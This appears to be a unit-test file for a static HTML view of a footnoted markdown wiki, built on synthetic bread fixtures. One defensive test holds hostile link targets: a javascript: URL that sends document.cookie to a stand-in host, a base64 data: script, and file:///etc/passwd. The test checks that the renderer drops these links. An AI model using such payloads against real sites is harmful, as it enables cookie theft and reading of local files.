okf-wiki/tests/test_view.py
Kjell Tore Guttormsen 0fd86a23a3
okf-wiki 1.1.1
First public release, published as one snapshot. What changed between
versions is in CHANGELOG.md.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-11-14 21:03:20 +01:00

983 lines
42 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

"""Tests for okfwiki/view.py: the static HTML reading view (plan row L3) behind PLAN.md criterion 3.
Every footnote on every page must be clickable to its quote, its locator and the raw source at that line. The
check counts the footnote references from the markdown pages (the denominator) and resolves each one in the
rendered HTML only, so a renderer that drops or breaks a footnote fails. The fixtures are synthetic text about bread
(CLAUDE.md rule 3). Run: python3 -m unittest discover -s tests
"""
from __future__ import annotations
import contextlib
import hashlib
import io
import json
import re
import sys
import tempfile
import unittest
from pathlib import Path
from typing import Any
ROOT = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(ROOT))
from okfwiki import view # noqa: E402
SOURCE = """# Bread notes
Sourdough needs a starter that is fed daily.
The dough rests for twelve hours before baking.
A hot oven gives a dark crust & a <soft> crumb.
"""
OVEN = """# Oven notes
Preheat the oven for forty minutes.
"""
PAGE = """---
type: Concept
title: Sourdough
description: A bread raised by a starter.
tags: [bread]
sources:
- id: b-2
resource: /kilde/bread.md
title: Bread notes
x-locator: { line: 2 }
x-quote: 'Sourdough needs a starter that is fed daily.'
- id: b-3
resource: /kilde/bread.md
title: Bread notes
x-locator: { line: 3 }
x-quote: 'The dough rests for twelve hours'
- id: o-2
resource: /kilde/oven.md
title: Oven notes
x-locator: { line: 2 }
x-quote: 'Preheat the oven for forty minutes.'
generated: { by: claude-code/claude-opus-5-5, at: 2026-09-27T09:00:00Z }
---
# Sourdough
**Short:** Sourdough needs a starter (see `starter.cfg`) that is fed every day.[^b-2] The dough rests for twelve
hours.[^b-3]
## Baking
- Rest the dough for twelve hours, then preheat the oven for forty minutes.[^b-3][^o-2]
- Feed the starter daily.[^b-2][^b-2]
- The code `[^b-9]` is not a footnote.[^b-2]
## Related
- [Crust](crust.md)
- [Flour mills](https://example.org/mills)
[^b-2]: Bread notes, line 2
[^b-3]: Bread notes, line 3
[^o-2]: Oven notes, line 2
"""
CRUST = """---
type: Concept
title: Crust
description: The outer layer.
sources:
- id: b-4
resource: /kilde/bread.md
title: Bread notes
x-locator: { line: 4 }
x-quote: 'A hot oven gives a dark crust & a <soft> crumb.'
generated: { by: claude-code/claude-opus-5-5, at: 2026-09-27T09:00:00Z }
---
# Crust
A hot oven gives a dark crust & a <soft> crumb.[^b-4]
[^b-4]: Bread notes, line 4
"""
INDEX = """---
okf_version: "0.2"
---
# Bread
* [Sourdough](sourdough.md) - A bread raised by a starter.
* [Crust](crust.md) - The outer layer.
"""
LOG = """# Directory Update Log
## 2026-09-27
* **Ingest**: `/kilde/bread.md` created [Sourdough](sourdough.md), [Crust](crust.md).
"""
# Footnote references in the page bodies above, outside code spans: sourdough 7, crust 1.
FOOTNOTES = 8
SOURCES_LIST = '<details class="sources-list">'
class Fixture(unittest.TestCase):
def setUp(self) -> None:
self._tmp = tempfile.TemporaryDirectory(prefix="view-test-")
self.root = Path(self._tmp.name)
self.sources = self.root / "sources"
(self.sources / "kilde").mkdir(parents=True)
(self.sources / "kilde" / "bread.md").write_text(SOURCE, encoding="utf-8")
(self.sources / "kilde" / "oven.md").write_text(OVEN, encoding="utf-8")
self.bundle = self.root / "bundle"
self.bundle.mkdir()
for name, text in (("sourdough.md", PAGE), ("crust.md", CRUST), ("index.md", INDEX), ("log.md", LOG)):
(self.bundle / name).write_text(text, encoding="utf-8")
self.out = self.root / "html"
def tearDown(self) -> None:
self._tmp.cleanup()
def html(self, rel: str) -> str:
return (self.out / rel).read_text(encoding="utf-8")
class LanguageTest(Fixture):
"""The page states the language of the sources it cites (K1 `lang`, set by `sources folder`); index and log the
collection's most common one; without any, English, as before."""
def manifest(self, langs: dict[str, str]) -> None:
doc = {"sources": [{"path": f"kilde/{name}", "lang": lang} for name, lang in langs.items()]}
(self.sources / "source-manifest.json").write_text(json.dumps(doc), encoding="utf-8")
def test_pages_index_and_raw_sources_carry_the_language_of_their_sources(self) -> None:
self.manifest({"bread.md": "no", "oven.md": "no"})
view.render(self.bundle, self.sources, self.out)
for rel in ("sourdough.html", "index.html", "log.html", "raw/kilde/bread.md.html"):
self.assertIn('<html lang="no">', self.html(rel), rel)
def test_without_a_language_the_view_says_english(self) -> None:
view.render(self.bundle, self.sources, self.out)
self.assertIn('<html lang="en">', self.html("sourdough.html"))
class RenderTest(Fixture):
def test_writes_index_log_one_page_per_concept_and_the_cited_raw_sources(self) -> None:
stats = view.render(self.bundle, self.sources, self.out)
for rel in ("index.html", "log.html", "sourdough.html", "crust.html",
"raw/kilde/bread.md.html", "raw/kilde/oven.md.html"):
self.assertTrue((self.out / rel).is_file(), rel)
self.assertEqual(2, stats.pages)
self.assertEqual(2, stats.raw_files)
self.assertEqual(FOOTNOTES, stats.footnotes)
def test_a_pages_other_names_are_shown_under_its_description(self) -> None:
crust = (self.bundle / "crust.md").read_text(encoding="utf-8")
(self.bundle / "crust.md").write_text(crust.replace(
"\ntype: Concept\n", "\ntype: Concept\nx-aliases:\n- Bread crust\n- The <hard> shell\n", 1), encoding="utf-8")
view.render(self.bundle, self.sources, self.out)
self.assertIn("<p>Also called: Bread crust; The &lt;hard&gt; shell</p>", self.html("crust.html"))
self.assertNotIn("Also called", self.html("sourdough.html"))
def test_a_footnote_links_to_its_source_entry_with_quote_locator_and_raw_link(self) -> None:
view.render(self.bundle, self.sources, self.out)
page = self.html("sourdough.html")
self.assertIn('href="#src-b-3"', page)
entry = page[page.index('id="src-b-3"'):]
entry = entry[:entry.index("</li>")]
self.assertIn("The dough rests for twelve hours", entry)
self.assertIn("line 3", entry)
self.assertIn("/kilde/bread.md", entry)
self.assertIn('href="raw/kilde/bread.md.html#L3"', entry)
def test_footnotes_are_numbered_by_first_use(self) -> None:
view.render(self.bundle, self.sources, self.out)
page = self.html("sourdough.html")
refs = re.findall(r'<a class="fnref" href="#src-([^"]+)"[^>]*>(\d+)</a>', page)
self.assertEqual([("b-2", "1"), ("b-3", "2"), ("b-3", "2"), ("o-2", "3"), ("b-2", "1"), ("b-2", "1"),
("b-2", "1")], refs)
def test_the_raw_view_has_one_anchor_per_line_and_marks_the_cited_lines(self) -> None:
view.render(self.bundle, self.sources, self.out)
raw = self.html("raw/kilde/bread.md.html")
for n in (1, 2, 3, 4):
self.assertIn(f'id="L{n}"', raw)
self.assertRegex(raw, r'<div class="line cited" id="L2">')
self.assertRegex(raw, r'<div class="line" id="L1">')
self.assertIn("A hot oven gives a dark crust &amp; a &lt;soft&gt; crumb.", raw)
def test_body_markdown_is_rendered_and_escaped(self) -> None:
view.render(self.bundle, self.sources, self.out)
page = self.html("sourdough.html")
self.assertIn("<strong>Short:</strong>", page)
self.assertIn("<code>starter.cfg</code>", page)
self.assertIn("<code>[^b-9]</code>", page)
self.assertIn('<a href="crust.html">Crust</a>', page)
self.assertIn('<a href="https://example.org/mills">Flour mills</a>', page)
self.assertIn("<h2>Baking</h2>", page)
self.assertNotIn("[^b-2]:", page)
crust = self.html("crust.html")
self.assertIn("dark crust &amp; a &lt;soft&gt; crumb.", crust)
self.assertNotIn("<soft>", crust)
def test_the_page_header_shows_title_description_and_generated(self) -> None:
view.render(self.bundle, self.sources, self.out)
page = self.html("sourdough.html")
self.assertIn("<title>Sourdough</title>", page)
self.assertIn("A bread raised by a starter.", page)
self.assertIn("claude-code/claude-opus-5-5", page)
self.assertIn('href="index.html"', page)
def test_index_and_log_link_to_the_html_pages(self) -> None:
view.render(self.bundle, self.sources, self.out)
self.assertIn('<a href="sourdough.html">Sourdough</a>', self.html("index.html"))
self.assertIn('<a href="crust.html">Crust</a>', self.html("log.html"))
self.assertNotIn("okf_version", self.html("index.html"))
def test_the_graph_is_copied_unchanged_and_linked_only_when_given(self) -> None:
view.render(self.bundle, self.sources, self.out)
self.assertNotIn("graph.html", self.html("index.html"))
graph = self.root / "viz.html"
graph.write_bytes(b"<html>the graph \xc3\xa6</html>\n")
view.render(self.bundle, self.sources, self.out, graph=graph)
self.assertEqual(graph.read_bytes(), (self.out / "graph.html").read_bytes())
self.assertIn('href="graph.html"', self.html("index.html"))
class LinkSchemeTest(unittest.TestCase):
"""Only http, https and mailto links keep their scheme; any other scheme renders as plain text."""
def test_allowlisted_schemes_stay_links(self) -> None:
for target in ("https://example.org/a", "http://example.org/", "mailto:someone@example.org",
"HTTPS://example.org/"):
with self.subTest(target=target):
self.assertIn(f'<a href="{target}">x</a>', view.inline(f"[x]({target})", None))
def test_other_schemes_render_the_anchor_text_without_a_link(self) -> None:
for target in ("javascript:location='//h.example/'+document.cookie", "JavaScript:void0",
"data:text/html;base64,PHNjcmlwdD4=", "vbscript:msgbox", "file:///etc/passwd"):
with self.subTest(target=target):
out = view.inline(f"[click]({target})", None)
self.assertNotIn("<a", out)
self.assertNotIn("href", out)
self.assertIn("click", out)
def test_bundle_links_still_point_at_html_pages(self) -> None:
self.assertIn('<a href="crust.html#top">c</a>', view.inline("[c](crust.md#top)", None))
class CheckTest(Fixture):
def test_a_good_render_resolves_every_footnote(self) -> None:
view.render(self.bundle, self.sources, self.out)
result = view.check(self.bundle, self.out)
self.assertEqual((FOOTNOTES, FOOTNOTES), (result.resolved, result.total))
self.assertEqual({"sourdough.md": (7, 7), "crust.md": (1, 1)}, result.per_page)
self.assertEqual([], result.problems)
def test_a_missing_raw_file_fails_its_footnotes(self) -> None:
view.render(self.bundle, self.sources, self.out)
(self.out / "raw" / "kilde" / "oven.md.html").unlink()
result = view.check(self.bundle, self.out)
self.assertEqual((FOOTNOTES - 1, FOOTNOTES), (result.resolved, result.total))
def test_a_raw_line_without_the_quote_fails(self) -> None:
view.render(self.bundle, self.sources, self.out)
raw = self.out / "raw" / "kilde" / "bread.md.html"
raw.write_text(raw.read_text(encoding="utf-8").replace("twelve hours", "ten hours"), encoding="utf-8")
result = view.check(self.bundle, self.out)
self.assertEqual((FOOTNOTES - 2, FOOTNOTES), (result.resolved, result.total))
def test_a_dropped_footnote_reference_fails(self) -> None:
view.render(self.bundle, self.sources, self.out)
page = self.out / "crust.html"
page.write_text(re.sub(r'<a class="fnref[^"]*"[^<]*</a>', "", page.read_text(encoding="utf-8")),
encoding="utf-8")
result = view.check(self.bundle, self.out)
self.assertEqual((FOOTNOTES - 1, FOOTNOTES), (result.resolved, result.total))
def test_a_source_entry_without_its_quote_fails(self) -> None:
view.render(self.bundle, self.sources, self.out)
page = self.out / "crust.html"
page.write_text(page.read_text(encoding="utf-8").replace('<q class="quote">', '<q class="gone">'),
encoding="utf-8")
self.assertEqual(FOOTNOTES - 1, view.check(self.bundle, self.out).resolved)
def test_a_missing_page_fails_all_its_footnotes(self) -> None:
view.render(self.bundle, self.sources, self.out)
(self.out / "sourdough.html").unlink()
result = view.check(self.bundle, self.out)
self.assertEqual((1, FOOTNOTES), (result.resolved, result.total))
self.assertEqual((0, 7), result.per_page["sourdough.md"])
MIXER_NOTES = """## 1.4.2
- Added a rye flour setting to the mixer
- The mixer requires firmware 3.2.1 or later
## 1.3.0
- Removed the knead timer
## 1.2.0
- Added the knead timer
"""
MIXER = """---
type: Concept
title: Mixer
description: The dough mixer.
sources:
- id: h142
resource: /kilde/mixer.md
title: Mixer notes
x-locator: { line: 1 }
x-quote: '1.4.2'
- id: rye
resource: /kilde/mixer.md
title: Mixer notes
x-locator: { line: 2 }
x-quote: 'Added a rye flour setting to the mixer'
- id: fw
resource: /kilde/mixer.md
title: Mixer notes
x-locator: { line: 3 }
x-quote: 'The mixer requires firmware 3.2.1 or later'
- id: h130
resource: /kilde/mixer.md
title: Mixer notes
x-locator: { line: 4 }
x-quote: '1.3.0'
- id: removed
resource: /kilde/mixer.md
title: Mixer notes
x-locator: { line: 5 }
x-quote: 'Removed the knead timer'
- id: h120
resource: /kilde/mixer.md
title: Mixer notes
x-locator: { line: 6 }
x-quote: '1.2.0'
- id: knead
resource: /kilde/mixer.md
title: Mixer notes
x-locator: { line: 7 }
x-quote: 'Added the knead timer'
x-outdated: [{ old: knead, new: removed }]
generated: { by: claude-code/claude-opus-5-5, at: 2026-09-28T09:00:00Z }
---
# Mixer
- Version 1.4.2 added a rye flour setting to the mixer.[^h142][^rye]
- The mixer has a rye flour setting.[^h142][^rye]
- Since v1.4.2 the mixer has a rye flour setting.[^h142][^rye]
- The mixer requires firmware 3.2.1 or later.[^h142][^fw]
- Version 1.2.0 added the knead timer.[^h120][^knead] Version 1.3.0 removed the knead timer.[^h130][^removed]
- The setting `rye-1.4.2` names the flour.[^rye]
[^h142]: Mixer notes, line 1
[^rye]: Mixer notes, line 2
[^fw]: Mixer notes, line 3
[^h130]: Mixer notes, line 4
[^removed]: Mixer notes, line 5
[^h120]: Mixer notes, line 6
[^knead]: Mixer notes, line 7
"""
RELEASE_PAGE = """---
type: Concept
title: Release 1.4.2
description: What release 1.4.2 of the mixer changed.
sources:
- id: h142
resource: /kilde/mixer.md
title: Mixer notes
x-locator: { line: 1 }
x-quote: '1.4.2'
- id: rye
resource: /kilde/mixer.md
title: Mixer notes
x-locator: { line: 2 }
x-quote: 'Added a rye flour setting to the mixer'
generated: { by: claude-code/claude-opus-5-5, at: 2026-09-28T09:00:00Z }
---
# Release 1.4.2
Version 1.4.2 added a rye flour setting to the mixer.[^h142][^rye]
[^h142]: Mixer notes, line 1
[^rye]: Mixer notes, line 2
"""
# Claim sentences: sourdough 5, crust 1, mixer 7, release 1. Version numbers in running text that are not the claim:
# mixer "Version 1.4.2 added" and "Since v1.4.2". Licensed: firmware 3.2.1 (in the content quote), the Outdated pair
# (2 sentences) and the release page (its title holds the version). The code span `rye-1.4.2` is not running text.
CLAIMS_ALL = 14
class VersionFixture(Fixture):
def setUp(self) -> None:
super().setUp()
(self.sources / "kilde" / "mixer.md").write_text(MIXER_NOTES, encoding="utf-8")
(self.bundle / "mixer.md").write_text(MIXER, encoding="utf-8")
(self.bundle / "release-1-4-2.md").write_text(RELEASE_PAGE, encoding="utf-8")
class VersionCountTest(VersionFixture):
def test_counts_version_numbers_in_running_text_that_are_not_the_claim(self) -> None:
result = view.versions(self.bundle, self.sources)
self.assertEqual(CLAIMS_ALL, result.total)
self.assertEqual(["Since v1.4.2 the mixer has a rye flour setting.",
"Version 1.4.2 added a rye flour setting to the mixer."],
sorted(f.sentence for f in result.flagged))
self.assertEqual({"mixer.md"}, {f.page for f in result.flagged})
self.assertEqual({"outdated": 2, "content-quote": 1, "page-title": 1}, result.licensed)
def test_a_bundle_without_version_numbers_counts_zero(self) -> None:
for name in ("mixer.md", "release-1-4-2.md"):
(self.bundle / name).unlink()
result = view.versions(self.bundle, self.sources)
self.assertEqual((0, 6), (len(result.flagged), result.total))
def test_the_version_heading_footnote_is_a_quote_of_only_a_version(self) -> None:
self.assertTrue(view.is_version_heading({"x-quote": "1.4.2"}))
self.assertTrue(view.is_version_heading({"x-quote": "v2.10.0"}))
self.assertFalse(view.is_version_heading({"x-quote": "Added a rye flour setting"}))
self.assertFalse(view.is_version_heading({"x-quote": "4.7"}))
self.assertFalse(view.is_version_heading({}))
class VersionLabelTest(VersionFixture):
def test_a_version_heading_footnote_renders_as_a_grey_version_label(self) -> None:
view.render(self.bundle, self.sources, self.out)
page = self.html("mixer.html")
self.assertRegex(page, r'<a class="fnref ver" href="#src-h142"[^>]*>1\.4\.2</a>')
self.assertRegex(page, r'<a class="fnref" href="#src-rye"[^>]*>\d+</a>')
self.assertNotRegex(page, r'<a class="fnref" href="#src-h142"')
self.assertIn(".ver", view.STYLE)
def test_footnote_markers_are_small_numbers(self) -> None:
self.assertRegex(view.STYLE, r"sup \{[^}]*font-size: 0\.7")
def test_the_check_still_resolves_every_footnote_with_labels(self) -> None:
view.render(self.bundle, self.sources, self.out)
result = view.check(self.bundle, self.out)
self.assertEqual(result.total, result.resolved)
self.assertEqual((13, 13), result.per_page["mixer.md"])
class ReadableTest(VersionFixture):
"""Plan row L4, the PM's addendum of 28.09: references do not dominate the text, related pages are visible."""
def item(self, page: str, start: str) -> str:
at = page.index(start)
return page[at:page.index("</li>", at)]
def test_one_discreet_marker_per_sentence_opens_its_quotes_and_raw_lines(self) -> None:
view.render(self.bundle, self.sources, self.out)
page = self.html("sourdough.html")
rest = self.item(page, "Rest the dough")
self.assertEqual(1, rest.count('class="mark"'))
pop = rest[rest.index('class="pop"'):]
self.assertIn('href="#src-b-3"', pop)
self.assertIn('href="#src-o-2"', pop)
self.assertIn("The dough rests for twelve hours", pop)
self.assertIn('href="raw/kilde/oven.md.html#L2"', pop)
self.assertIn('tabindex="0"', rest)
self.assertEqual(1, self.item(page, "Feed the starter").count('class="mark"'))
self.assertNotRegex(page, r"</sup>\s*<sup")
def test_the_version_label_stays_visible_beside_the_marker(self) -> None:
view.render(self.bundle, self.sources, self.out)
rye = self.item(self.html("mixer.html"), "The mixer has a rye flour setting.")
self.assertLess(rye.index(">1.4.2</a>"), rye.index('class="mark"'))
self.assertNotIn(">1.4.2</a>", rye[rye.index('class="pop"'):])
def test_the_popup_is_shown_on_hover_and_on_focus(self) -> None:
self.assertRegex(view.STYLE, r"\.cite:hover \.pop")
self.assertRegex(view.STYLE, r"\.cite:focus-within \.pop")
def test_see_also_lists_linked_pages_both_ways_before_the_sources(self) -> None:
view.render(self.bundle, self.sources, self.out)
sourdough, crust = self.html("sourdough.html"), self.html("crust.html")
for page, other in ((sourdough, "crust.html"), (crust, "sourdough.html")):
block = page[page.index("<h2>See also</h2>"):page.index(SOURCES_LIST)]
self.assertIn(f'href="{other}"', block)
self.assertNotIn("<h2>See also</h2>", self.html("mixer.html"))
def test_render_counts_the_islands(self) -> None:
stats = view.render(self.bundle, self.sources, self.out)
self.assertEqual((2, 4), (stats.islands, stats.pages))
STARTER = """---
type: Concept
title: Starter
description: What a starter needs.
sources:
- id: s-short
resource: /kilde/bread.md
title: Bread notes
x-locator: { line: 2 }
x-quote: 'Sourdough needs a starter'
- id: s-long
resource: /kilde/bread.md
title: Bread notes
x-locator: { line: 2 }
x-quote: 'Sourdough needs a starter that is fed daily.'
- id: o-2
resource: /kilde/oven.md
title: Oven notes
x-locator: { line: 2 }
x-quote: 'Preheat the oven for forty minutes.'
generated: { by: claude-code/claude-opus-5-5, at: 2026-09-28T09:00:00Z }
---
# Starter
Sourdough needs a starter.[^s-short] Sourdough needs a starter that is fed daily.[^s-long]
- Preheat the oven for forty minutes.[^o-2][^s-short][^s-long]
[^s-short]: Bread notes, line 2
[^s-long]: Bread notes, line 2
[^o-2]: Oven notes, line 2
"""
class OverlapFixture(Fixture):
def setUp(self) -> None:
super().setUp()
(self.bundle / "starter.md").write_text(STARTER, encoding="utf-8")
class OverlapCountTest(OverlapFixture):
"""Plan row L4, the PM's addendum 2: one source line gives one sentence and one source entry."""
def test_counts_redundant_source_entries_and_substring_sentences(self) -> None:
result = view.overlap(self.bundle, self.sources)
self.assertEqual(7, result.entries) # sourdough 3, crust 1, starter 3
self.assertEqual([("starter.md", "s-long", "s-short")], result.redundant)
self.assertEqual(9, result.claims) # sourdough 5, crust 1, starter 3
self.assertEqual([("starter.md", "Sourdough needs a starter.")], [(p, s) for p, s, _ in result.substring])
def test_a_bundle_without_overlap_counts_zero(self) -> None:
(self.bundle / "starter.md").unlink()
result = view.overlap(self.bundle, self.sources)
self.assertEqual((0, 4, 0, 6), (len(result.redundant), result.entries, len(result.substring), result.claims))
class MergedEntriesTest(OverlapFixture):
def test_entries_on_the_same_file_and_line_show_the_line_once(self) -> None:
view.render(self.bundle, self.sources, self.out)
page = self.html("starter.html")
sources = page[page.index(SOURCES_LIST):]
self.assertEqual(1, sources.count("Sourdough needs a starter that is fed daily."))
self.assertRegex(sources, r'<li class="alias" id="src-s-short"')
refs = dict(re.findall(r'<a class="fnref" href="#src-(s-short|s-long)"[^>]*>(\d+)</a>', page))
self.assertEqual(refs["s-short"], refs["s-long"])
def test_a_sentence_citing_both_shows_the_line_once_in_its_popup(self) -> None:
view.render(self.bundle, self.sources, self.out)
page = self.html("starter.html")
item = page[page.index("<li>Preheat"):]
pop = item[item.index('class="pop"'):item.index("</li>")]
self.assertEqual(1, pop.count("<q>Sourdough needs a starter"))
def test_the_check_still_resolves_every_footnote(self) -> None:
view.render(self.bundle, self.sources, self.out)
result = view.check(self.bundle, self.out)
self.assertEqual((5, 5), result.per_page["starter.md"])
self.assertEqual(result.total, result.resolved)
class SourceListTest(VersionFixture):
"""Plan row L4, the PM's addendum 3: the source list is for people, so it is closed and grouped by section."""
def test_the_source_list_is_closed_by_default(self) -> None:
view.render(self.bundle, self.sources, self.out)
page = self.html("mixer.html")
self.assertRegex(page, r'<details class="sources-list"><summary>Sources \(7\)')
self.assertNotRegex(page, r'<details class="sources-list" open')
def test_entries_are_grouped_by_document_and_the_nearest_heading_above_the_line(self) -> None:
view.render(self.bundle, self.sources, self.out)
page = self.html("mixer.html")
listing = page[page.index(SOURCES_LIST):]
groups = re.findall(r"<h3>(.*?)</h3>", listing)
self.assertEqual(["Mixer notes › 1.4.2 (lines 1–3)", "Mixer notes › 1.3.0 (lines 4–5)",
"Mixer notes › 1.2.0 (lines 6–7)"], groups)
self.assertIn("Bread notes › Bread notes (lines 2–3)", self.html("sourdough.html"))
def test_read_more_links_each_section_the_page_draws_on(self) -> None:
view.render(self.bundle, self.sources, self.out)
page = self.html("mixer.html")
block = page[page.index("<h2>Read more in</h2>"):page.index(SOURCES_LIST)]
self.assertEqual([("raw/kilde/mixer.md.html#L1", "Mixer notes › 1.4.2"),
("raw/kilde/mixer.md.html#L4", "Mixer notes › 1.3.0"),
("raw/kilde/mixer.md.html#L6", "Mixer notes › 1.2.0")],
re.findall(r'<a href="([^"]+)">([^<]+)</a>', block))
def test_the_check_still_resolves_every_footnote(self) -> None:
view.render(self.bundle, self.sources, self.out)
result = view.check(self.bundle, self.out)
self.assertEqual((result.total, result.total), (result.resolved, result.total))
BAKE_NOTES = """# Bake notes
## Shaping
Fold the dough twice.
```markdown
# Not a section
```
Shape a tight ball.
~~~~
```
## Also not a section
```
~~~~
- A list item with code:
```
# Still not a section
```
Score the top before baking.
"""
BAKE = """---
type: Concept
title: Shaping
description: How a loaf is shaped.
sources:
- id: b-ball
resource: /kilde/bake.md
title: Bake notes
x-locator: { line: 7 }
x-quote: 'Shape a tight ball.'
- id: b-score
resource: /kilde/bake.md
title: Bake notes
x-locator: { line: 17 }
x-quote: 'Score the top before baking.'
generated: { by: claude-code/claude-opus-5-5, at: 2026-09-28T09:00:00Z }
---
# Shaping
Shape a tight ball.[^b-ball] Score the top before baking.[^b-score]
[^b-ball]: Bake notes, line 7
[^b-score]: Bake notes, line 17
"""
class FencedHeadingTest(Fixture):
"""Order 14 (wave 3): the operator found section names taken from headings inside example code."""
def test_a_heading_inside_fenced_code_is_not_the_section(self) -> None:
lines = BAKE_NOTES.splitlines()
for line in (5, 7, 10, 15, 17):
self.assertEqual((2, "Shaping"), view.nearest_heading(lines, line), f"line {line}")
def test_read_more_and_the_source_list_name_the_section_outside_code(self) -> None:
(self.sources / "kilde" / "bake.md").write_text(BAKE_NOTES, encoding="utf-8")
(self.bundle / "shaping.md").write_text(BAKE, encoding="utf-8")
view.render(self.bundle, self.sources, self.out)
page = self.html("shaping.html")
block = page[page.index("<h2>Read more in</h2>"):page.index(SOURCES_LIST)]
self.assertEqual([("raw/kilde/bake.md.html#L2", "Bake notes › Shaping")],
re.findall(r'<a href="([^"]+)">([^<]+)</a>', block))
self.assertEqual(["Bake notes › Shaping (lines 7–17)"],
re.findall(r"<h3>(.*?)</h3>", page[page.index(SOURCES_LIST):]))
self.assertNotIn("not a section", page)
SAME_LINE = """---
type: Concept
title: Feeding
description: How a starter is fed.
sources:
- id: f-starter
resource: /kilde/bread.md
title: Bread notes
x-locator: { line: 2 }
x-quote: 'Sourdough needs a starter'
- id: f-daily
resource: /kilde/bread.md
title: Bread notes
x-locator: { line: 2 }
x-quote: 'fed daily'
generated: { by: claude-code/claude-opus-5-5, at: 2026-09-28T09:00:00Z }
---
# Feeding
Sourdough needs a starter.[^f-starter] The starter is fed daily.[^f-daily]
- A starter, fed daily.[^f-starter][^f-daily]
[^f-starter]: Bread notes, line 2
[^f-daily]: Bread notes, line 2
"""
class SameLinePopupTest(Fixture):
"""Order 14 (wave 3): two claims cite the same line with different quotes; each popup must show the quote that
supports its own claim, not the other entry's."""
def setUp(self) -> None:
super().setUp()
(self.bundle / "feeding.md").write_text(SAME_LINE, encoding="utf-8")
view.render(self.bundle, self.sources, self.out)
self.page = self.html("feeding.html")
def pop_after(self, start: str, end: str) -> str:
part = self.page[self.page.index(start):]
return part[part.index('class="pop"'):part.index(end)]
def test_each_popup_shows_its_own_quote(self) -> None:
self.assertEqual(["Sourdough needs a starter"],
re.findall(r"<q>([^<]*)</q>", self.pop_after("Sourdough needs a starter.", "The starter")))
self.assertEqual(["fed daily"], re.findall(r"<q>([^<]*)</q>", self.pop_after("The starter is", "</p>")))
def test_a_sentence_citing_both_shows_both_quotes_once(self) -> None:
self.assertEqual(["Sourdough needs a starter", "fed daily"],
re.findall(r"<q>([^<]*)</q>", self.pop_after("<li>A starter", "</li>")))
def test_the_entries_still_share_one_number_and_every_footnote_resolves(self) -> None:
refs = dict(re.findall(r'<a class="fnref" href="#src-(f-starter|f-daily)"[^>]*>(\d+)</a>', self.page))
self.assertEqual(refs["f-starter"], refs["f-daily"])
result = view.check(self.bundle, self.out)
self.assertEqual((4, 4), result.per_page["feeding.md"])
def tree_digest(out: Path) -> str:
"""sha256 over every file of a rendered view: its path, a NUL, its bytes and a NUL, in sorted path order."""
h = hashlib.sha256()
for p in sorted(x for x in out.rglob("*") if x.is_file()):
h.update(p.relative_to(out).as_posix().encode("utf-8") + b"\0" + p.read_bytes() + b"\0")
return h.hexdigest()
# The view of the fixtures above as view.py rendered them before wave 2 order 7 (measured on the tree 73bec12): without
# --marks the output stays byte for byte the same.
DIGEST_BASE = "34fa2414231cd44ca1116bab7d0e492415a58dfe0618a7bbb3ae6de67558e211"
DIGEST_ALL = "44f584b4f4f71fade815f41f7f13d4b1aabcb0b8420c9889f2bbfffcdfe810b1"
def marks_text(pages: list[dict[str, Any]]) -> str:
"""A change-marks file in the form of contract K4 (okf-wiki/source-marks/1)."""
return json.dumps({"pages": pages, "schema": "okf-wiki/source-marks/1"}, indent=1, sort_keys=True,
ensure_ascii=False) + "\n"
MARKS = [{"page": "sourdough.md", "sources": [{"change": "changed", "path": "kilde/bread.md"},
{"change": "gone", "path": "kilde/oven.md"}]}]
class MarksTest(Fixture):
"""Contract K4: the change marks of okfwiki's change warning, shown on the pages built on a changed or gone source."""
def marks_file(self, pages: list[dict[str, Any]] | None = None, text: str | None = None) -> Path:
path = self.root / "marks.json"
path.write_text(marks_text(MARKS if pages is None else pages) if text is None else text, encoding="utf-8")
return path
def render_marked(self, path: Path) -> None:
view.render(self.bundle, self.sources, self.out, marks=view.read_marks(path))
def mark_block(self, page: str) -> str:
at = page.index('class="source-mark"')
return page[at:page.index("</div>", at)]
def test_without_marks_the_view_is_byte_identical_to_before(self) -> None:
view.render(self.bundle, self.sources, self.out)
self.assertEqual(DIGEST_BASE, tree_digest(self.out))
(self.sources / "kilde" / "mixer.md").write_text(MIXER_NOTES, encoding="utf-8")
for name, text in (("mixer.md", MIXER), ("release-1-4-2.md", RELEASE_PAGE), ("starter.md", STARTER)):
(self.bundle / name).write_text(text, encoding="utf-8")
out = self.root / "html-all"
view.render(self.bundle, self.sources, out)
self.assertEqual(DIGEST_ALL, tree_digest(out))
def test_a_marked_page_shows_each_source_and_its_change(self) -> None:
self.render_marked(self.marks_file())
block = self.mark_block(self.html("sourdough.html"))
self.assertIn("/kilde/bread.md", block)
self.assertIn("/kilde/oven.md", block)
self.assertRegex(block, r"/kilde/bread\.md</code>[^<]*changed")
self.assertRegex(block, r"/kilde/oven\.md</code>[^<]*gone")
def test_the_mark_stands_before_the_body(self) -> None:
self.render_marked(self.marks_file())
page = self.html("sourdough.html")
self.assertLess(page.index('class="source-mark"'), page.index("<h1>Sourdough</h1>"))
def test_a_page_not_marked_has_no_mark(self) -> None:
self.render_marked(self.marks_file())
self.assertNotIn("source-mark", self.html("crust.html"))
def test_the_index_lists_the_marked_pages(self) -> None:
self.render_marked(self.marks_file())
index = self.html("index.html")
at = index.index('class="marked-pages"')
listing = index[at:index.index("</div>", at)]
self.assertLess(at, index.index("<h1>Bread</h1>"))
self.assertIn('<a href="sourdough.html">Sourdough</a>', listing)
self.assertNotIn("crust.html", listing)
self.assertIn("/kilde/bread.md", listing)
def test_a_marks_file_with_no_pages_says_so_in_the_index(self) -> None:
self.render_marked(self.marks_file([]))
self.assertIn('class="marked-pages"', self.html("index.html"))
self.assertNotIn('class="source-mark"', self.html("sourdough.html"))
def test_marks_leave_the_footnote_check_whole(self) -> None:
self.render_marked(self.marks_file())
result = view.check(self.bundle, self.out)
self.assertEqual((FOOTNOTES, FOOTNOTES), (result.resolved, result.total))
def test_a_marks_file_that_is_not_k4_cannot_be_read(self) -> None:
cases = {
"not JSON": "{",
"another schema": marks_text(MARKS).replace("source-marks/1", "source-marks/2"),
"pages not a list": json.dumps({"pages": {"sourdough.md": MARKS[0]["sources"]},
"schema": "okf-wiki/source-marks/1"}),
"not an object": json.dumps(MARKS),
"a change that is neither changed nor gone": marks_text(MARKS).replace('"gone"', '"new"'),
"a source without path": marks_text([{"page": "sourdough.md", "sources": [{"change": "changed"}]}]),
"a page without sources": marks_text([{"page": "sourdough.md"}]),
}
